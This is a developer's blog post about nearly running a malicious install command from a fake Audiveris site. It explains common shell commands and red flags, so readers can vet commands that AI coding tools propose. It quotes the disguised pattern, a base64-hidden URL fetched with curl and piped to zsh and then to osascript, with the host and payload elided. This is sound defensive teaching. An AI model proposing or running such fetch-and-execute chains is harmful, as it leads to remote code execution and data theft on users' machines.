What Is My LLM Actually Doing?

Yesterday, I almost ran this:

curl -kfsSL $(echo '...' | base64 -D) | zsh

I was on a site that looked like the official site for Audiveris, an open-source optical music recognition tool. The site looked professional, the copy was well-written, and the install page included a shell command: nothing unusual for open source software.

But that website has nothing to do with the Audiveris project, and the command was malicious. There are a few giveaways, such as the encoded string and | zsh, which — together with the -fsSL flags — silently runs code in a Z shell.

I decoded the string, and saw that the command pulled down a remote shell script that fired off another request, this time piping the result into osascript to run AppleScript on my Mac:

curl http://<domain>/dynamic?… | osascript

I have been writing software for almost a decade, and — because the website seemed official — I was surprised how close I came to being fooled.

This isn’t new, but it’s newly urgent

This malicious script is textbook remote code execution and data exfiltration. (I filed an issue with the real Audiveris maintainers.)

But now, in the age of AI-driven software development, it feels newly urgent. My near-miss made me wonder how many commands we unthinkingly approve in terminal-based LLMs like Claude Code or Cursor.

While pasting random shell commands has always been sketchy, AI is changing how many shell commands we run — and how carefully we check them. Claude Code, Cursor and similar tools don’t just suggest commands. They execute them. Sometimes behind a confirm prompt, sometimes not at all.

A quick tour of the usual suspects

Let’s recap some of the most common shell commands and what they do.

• cat file.txt — prints a file.
• grep "error" log.txt — filters for lines matching a pattern. LLMs use this all the time.
• | — the pipe, which feeds output of one command into the next as an input.
• xargs — takes the input and turns it into arguments for another command. Usually, the middle step in a longer chain.
• > and >> — redirect output to a file, with > overwriting and >> appending.
• $(...) — this is command substitution, running whatever’s inside and using the result in-place. The Audiveris command uses this to hide a URL behind base64 -D. This can also be achieved with backticks: `...`.
• curl or wget — fetches something from a URL.
• sh, bash or zsh — the shells themselves. When one appears at the end of a pipe, something is being executed.
• ; and && — these chain commands, with && only running the next command if the previous one succeeded. A single ampersand & runs a command in the background.
• sudo — runs commands as the root user. This makes anything that follows much worse if it’s malicious!
• chmod +x — makes a file executable. Usually appears just before that file gets run.
• awk and sed — text processing and rewriting. Fine on their own, occasionally used to mangle a payload into shape.
• eval — runs a string as a command. Usually a red flag!
• base64 with the -d or -D flag — decodes base64. This is fine in isolation, but should raise concern when the output feeds straight into a shell.
• > /dev/null 2>&1 — another LLM favourite, which sends all output (stdout and stderr) into the void. Legitimate uses exist, but it’s also a way for attackers to hide what’s happening.

The Audiveris impersonator’s malicious command used five of these: curl, $(...), echo, base64 -D, a pipe and zsh. Alone, they’re fine. But together, they provide a route to running malicious code on your machine.

Memorising the above commands, at least, will give you a foundation to understand roughly what’s happening when your LLM asks for permission to run something.

Red flags to train your eye on

If you only remember one thing from this article, focus on the following red flags. These are reasons to pause and investigate further before running.

• curl ... | sh or | bash or | zsh — fetch and execute at once, with no chance to read what’s coming.
• base64 or eval feeding into a shell — something is being hidden.
• Silent flags like -s, -k and -fsSL. The k in particular tells curl to ignore TLS errors, which is rarely legitimate in an install script.
• sudo for no obvious reason.
• Anything that writes to ~/.bashrc, ~/.zshrc, ~/.ssh/authorized_keys, /etc/* or similar.
• Lookalike domains. Always check where the command actually came from, and ensure you are using the service’s genuine domain.
• “Just run this to fix it” from a Discord reply, a Stack Overflow answer, or an LLM suggestion. Authority is not authenticity!

Habits for working in the shell

It’s easier than ever to run commands that we don’t understand, so care should be taken to master the basics of the shell. If you do encounter anything that raises eyebrows or that you don’t understand, here are some steps you should take:

• Paste into a text file or notes app first, not straight into your terminal. Read it before you run it. In my malicious code example, I safely decoded the base64 string somewhere it wouldn’t run.
• Ask an LLM what the command does. This can be very helpful, but remember the LLM that wrote it can also be fooled or prompt-injected by the page it fetched.
• Cross-reference the LLM’s explanation with a site like explainshell.com.
• In Claude Code and similar tools, don’t use --dangerously-skip-permissions. It’s named that way for a reason. Claude’s AutoMode is a safer alternative.
• If in any doubt — don’t run it!

Conclusion

The new way of building software means that shell literacy matters to more people than ever. Nowadays, we’re writing code faster than we can understand it, and the shell is the place where most of this work happens. Whether you catch a bad command depends on whether you understand the good ones.

I hope this is a useful recap for more experienced developers and a helpful warning for those who are newer to the field.

Finally, if you’d like to get better at understanding the terminal, there are a variety of free courses you can search for online, such as Codecademy’s Intro to the Command Line. You could also try to ask your LLM to drill you on shell commands, or, for a greater challenge, try shell-scripting katas on CodeWars.